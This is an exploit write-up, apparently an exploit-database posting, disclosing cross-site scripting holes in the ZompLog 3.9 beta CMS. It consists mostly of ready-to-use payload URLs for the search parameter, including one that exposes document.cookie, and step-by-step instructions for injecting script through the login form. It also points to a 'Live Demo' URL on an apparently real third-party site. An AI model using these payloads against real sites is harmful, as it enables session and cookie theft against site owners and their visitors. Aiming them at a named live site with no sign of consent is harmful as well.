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# Author: swappie [aka] faithlove 
 
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# Title:  ZompLog 3.9 beta
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http://www.site.com/index.php?search=>"><script>alert(1234567890)</script>

http://www.site.com/index.php?search=%00'"><script>alert(1234567890)</script>

http://www.site.com/index.php?search=>"><script>alert(document.cookie)</script>


Live Demo:

http://www.irishesseling.nl/index.php?search=>"><script>alert(1234567890)</script>


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*) Another Vulnerability regards the www.site.com/login.php

Method 1.
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We can edit the html source code generated by the login.php and
edit the following line:

<td colspan="2"><input type="text" name="login" value="" maxlength="15" id="log" /></td>



[===] MAKE IT LOOK LIKE THIS:

<td colspan="2"><input type="text" name="login" value=">"><script>alert("XSS Vuln")</script>" maxlength="15" id="log" /></td>




Method 2.
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Step 1.

Write in Login section: >">

Step 2.

(Hit Enter) or click the Login Button.

you'll see in Login something looking like this: >\

Step 3.

Delete the ">\" part and insert the following code in it: <script>alert("XSS Vuln")</script>

Step 4.

(Hit Enter) or click the Login Button.

Result: You should see a small window with the "XSS Vuln" text in it.

[!!!] This "login.php part" worked just with a fresh install of the CMS as i have
      installed it locally.


Cheers,
swappie [aka] faithlove